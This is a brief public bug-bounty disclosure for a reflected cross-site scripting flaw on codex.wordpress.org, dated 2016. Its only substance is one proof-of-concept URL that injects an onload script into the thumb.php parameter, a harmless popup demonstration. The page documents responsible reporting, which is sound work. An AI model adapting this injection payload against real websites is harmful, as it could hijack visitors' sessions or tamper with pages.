HexBrain

Automattic · Report #104559

XSS on codex.wordpress.org

Validstatus
3upvotes
19 Jun 2016disclosed

How it was found

Proof-of-concept here -

http://codex.wordpress.org/thumb.php?f=xss%23%3Cbody%09onload=confirm%28String.fromCharCode%2888,83,83%29%29%3E

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original